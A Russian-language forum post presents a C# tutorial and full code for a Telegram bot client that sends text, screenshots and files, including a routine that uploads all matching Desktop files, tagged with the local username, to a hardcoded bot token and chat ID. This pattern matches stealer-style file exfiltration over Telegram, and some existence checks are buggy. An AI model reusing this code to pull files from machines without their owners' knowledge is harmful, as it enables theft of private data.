• Добро пожаловать на сайт - Forumteam.wiki !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

[C#] TelegramBot - Отправка данных боту

Chollongarn

Публикатор
Команда форума
Регистрация
13.07.19
Сообщения
1.738
Реакции
453
Баллы
1.200
FTC
11¢
Наша программа будет уметь делать следующие функции:

  • Отправлять скриншот
  • Отправлять сообщения
  • Отправлять файлы
  • Получать информацию ( пока о боте )
Сразу хочу предупредить чтобы успешно подключиться к боту вы не должны находится за NAT

Если Вы не можете подключиться к боту используйте VPN сервер, или же подключитесь напрямую через Proxy к TelegramBotClient - Об этом в следующем уроке.


Создаём класс Telega.cs

Подключим все зависимости:

C#:
using System;

using System.IO;

using System.Linq;

using System.Net.Http;

using System.Text;

using System.Threading.Tasks;

using Telegram.Bot;

using Telegram.Bot.Types;

using Telegram.Bot.Types.InputFiles;


Создадим переменную bot от TelegramBotClient внутри класса Telega

C#:
public class Telega

{

  private static TelegramBotClient bot; // Переменная bot

}

Запишем функцию отправки и удаления сообщения

C#:
public class Telega

{

  private static TelegramBotClient bot;


  public static async Task SendMessage(string token, int destID, string text)

  {

      if (!string.IsNullOrWhiteSpace(token))

      {

          try

          {

            bot = new TelegramBotClient(token); // Подключение к боту

            Message ss = await bot.SendTextMessageAsync(destID, text); // Отправка сообщения

            Console.WriteLine($"Вы отправили боту текст с сообщением: {ss.Text}"); // В консоль получим сообщение какой текст отправили.

            Console.WriteLine($"Всего сообщений: {ss.MessageId} | Чат ID: {ss.Chat.Id} | Date: {ss.Date}");

        // await bot.DeleteMessageAsync(destID, ss.MessageId); // Удаления сообщения

          }

          catch (ArgumentException ex) { System.IO.File.AppendAllText("ConnectError.txt", $"{ex.Message}\r\n"); }

      }

  }

}


В классе Program.cs

C#:
using System;

using System.IO;

using System.Text;


internal static partial class Program

{

    // Получаете данные в своём телеграм боте, и после прописываете их в коде.

    private static string token = "8600:AAHzYkm8eZKd***"; // тут ваш токен

    private static int id = 49755****; // тут ваш айди


    private static StringBuilder stringBuilder = new StringBuilder();


    public static void Main()

    {

      Console.Title = "TelegramBot";

      stringBuilder.AppendLine($"Привет {Environment.UserName} это я твой бот =)");

      try

      {

          Telega.SendMessage(token, id, stringBuilder?.ToString()).Wait();

      }

      catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }

    }

}


Теперь в классе Telega.cs - запишем функцию которая будет отправлять скриншот

C#:
public static async Task SendPhoto(string token, int chatId, string filePath)

{

    if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filePath))

    {

        using (var form = new MultipartFormDataContent())

        {

            form.Add(new StringContent(chatId.ToString(), Encoding.UTF8), "chat_id");

            using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))

            {

                form.Add(new StreamContent(fileStream), "photo", filePath.Split('\\').Last());

                using (var client = new HttpClient())

                {

                    await client.PostAsync($"https://api.telegram.org/bot{token}/sendPhoto", form);

                    Console.WriteLine("Скриншот отправлен успешно!");

                }

            }

        }

    }

}


В классе Program.cs вызываем так:

C#:
using System;

using System.IO;


internal static partial class Program

{

  private static string token = "860740080:AAHzYkm8eSYmZKd***"; // Ваш токен

  private static int id = 49755****; // Ваш ID


  private static readonly string DesktopFile =    Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Lesson.cs"); // Ваш файл


  public static void Main()

  {

      Console.Title = "TelegramBot"; // Заголовок консоли

      try

      {

        Telega.SendFile(token, id, DesktopFile).Wait(); // Отправка файла с ожиданием (wait())

      }

      catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }

  }

}


Если Вы хотите массово отправить файлы сделайте это следующим способом:

C#:
public static void MassSendFiles(string token, int id, string dir, string pattern)

{

    try

    {

        if (!string.IsNullOrWhiteSpace(token))

        {

            foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly))

            {

                SendFile(token, id, files).Wait();

            }

          }

      }

    catch (Exception ex) { Console.WriteLine(ex.Message); }

}


Вызывается так:

C#:
private static readonly string DesktopFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);

Telega.MassSendFiles(token, id, DesktopFile, "*zip");


Ну и на по следок получим информацию о боте:

В классе Telega.cs запишем функцию которая получит нужную нам информацию:

C#:
public static void GetInfo(string token)

{

    if (!string.IsNullOrWhiteSpace(token))

    {

        try

        {

            bot = new TelegramBotClient(token);

            var basa = new StringBuilder();

            User me = bot.GetMeAsync().Result;

            if (me.IsBot)

            {

              basa.AppendLine($"Логин бота: {me.Username}");

              basa.AppendLine($"Имя бота: {me.FirstName}");

              basa.AppendLine($"ID бота: {me.Id.ToString()}");

            }

                Console.WriteLine(basa?.ToString());

        }

      catch (AggregateException) { Console.WriteLine("Соединение блокировано, используйте Proxy Сервер"); }

  }

}


Вызывается просто:

C#:
Telega.GetInfo(token);

Console.ReadKey();


На этом всё =) Всем удачи.



Готовый код:

C#:
namespace NewBot

{

    using System;

    using System.IO;

    using System.Linq;

    using System.Net.Http;

    using System.Text;

    using System.Threading.Tasks;

    using Telegram.Bot;

    using Telegram.Bot.Types;

    using Telegram.Bot.Types.InputFiles;


    public class Telega

    {

        private static TelegramBotClient bot;

        public static async Task SendMessage(string token, int destID, string text)

        {

            try

            {

                if (!string.IsNullOrWhiteSpace(token))

                {

                    bot = new TelegramBotClient(token); // Подключение к боту

                    Message ss = await bot.SendTextMessageAsync(destID, text); // Отправка сообщения

                    Console.WriteLine($"Вы отправили боту текст с сообщением: {ss.Text}");

                    Console.WriteLine($"Всего сообщений: {ss.MessageId} | Чат ID: {ss.Chat.Id} | Date: {ss.Date}");

                    await bot.DeleteMessageAsync(destID, ss.MessageId); // Удаления сообщения

                }

            }

            catch { }

        }


        public static async Task SendPhoto(int chatId, string filePath, string token)

        {

            if (!string.IsNullOrWhiteSpace(token) || System.IO.Directory.Exists(filePath))

            {

                using (var form = new MultipartFormDataContent())

                {

                    form.Add(new StringContent(chatId.ToString(), Encoding.UTF8), "chat_id");


                    using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))

                    {

                        form.Add(new StreamContent(fileStream), "photo", filePath.Split('\\').Last());


                        using (var client = new HttpClient())

                        {

                            await client.PostAsync($"https://api.telegram.org/bot{token}/sendPhoto", form);

                            Console.WriteLine("Скриншот отправлен успешно!");

                        }

                    }

                }

            }

        }


        public static async Task SendFile(string token, int id, string filename)

        {

            if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename))

            {

                bot = new TelegramBotClient(token);

                using (FileStream stream = System.IO.File.OpenRead(filename))

                {

                    string ssf = Path.GetFileName(filename); // Получаем имя файла из потока

                    var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки

                    string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя

                    Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами.

                }

            }

        }


        public static void MassSendFiles(string token, int id, string dir, string pattern)

        {

            try

            {

                if (!string.IsNullOrWhiteSpace(token))

                {

                    foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly))

                    {

                        SendFile(token, id, files).Wait();

                    }

                }

            }

            catch (Exception ex) { Console.WriteLine(ex.Message); }

        }


        public static void GetInfo(string token)

        {

            if (!string.IsNullOrWhiteSpace(token))

            {

                try

                {

                    bot = new TelegramBotClient(token);

                    var basa = new StringBuilder();

                    User me = bot.GetMeAsync().Result;

                    if (me.IsBot)

                    {

                        basa.AppendLine($"Логин бота: {me.Username}");

                        basa.AppendLine($"Имя бота: {me.FirstName}");

                        basa.AppendLine($"ID бота: {me.Id.ToString()}");

                    }

                    Console.WriteLine(basa?.ToString());

                }

                catch (AggregateException) { Console.WriteLine("Соединение блокировано, используйте Proxy Сервер"); }

            }

        }

    }

}

C#:
namespace NewBot

{

    using System;

    using System.IO;

    using System.Text;

    using System.Threading.Tasks;


    internal static partial class Program

    {

        // private static string token = "860740080:AAHzYkm8eSYmZKd***";

        // private static int id = 49757;

        private static readonly string txtfile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "file.txt");

        private static StringBuilder stringBuilder = new StringBuilder();

        public static void Main()

        {

            Console.Title = "TelegramBot Test connect by Antlion";

            stringBuilder.AppendLine($"Привет бот это: {Environment.UserName}");

            Console.ForegroundColor = ConsoleColor.Green;

            Console.WriteLine("\"Для подключения требуется VPN сервер!\"\r\n");


            Console.ForegroundColor = ConsoleColor.Cyan;

            Console.Write("Введите токен для подключения: ");


            string token = Console.ReadLine(); // тут вводим наш токен бота


            Console.Write("Введите ID: ");

            int id = Convert.ToInt32(Console.ReadLine());

            Console.ForegroundColor = ConsoleColor.White;

            Console.WriteLine();


            Task.Run(() =>

            {

                //Telega.SendMessage(token, id, stringBuilder.ToString()).Wait();

                //Telega.SendPhoto(id, file, token).Wait();

                Telega.SendFile(token, id, txtfile).Wait();


            });

                //string desktopath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Files");

                //Task.Run(() => Telega.MassSendFiles(token, id, desktopath, "*.*"));

                Telega.GetInfo(token);

            Console.ReadKey();

        }

        /*

        public static void Main()

        {

            Console.Title = "TelegramBot";

            try

            {

                Telega.GetInfo(token);

                Console.ReadKey();

            }

            catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }

        }

        */

    }

}

Код писался давно, многое можно переписать, но лень) Может кому-то будет полезно, что-то для себя возьмёт.

Пользуйтесь! ))
 
Сверху Снизу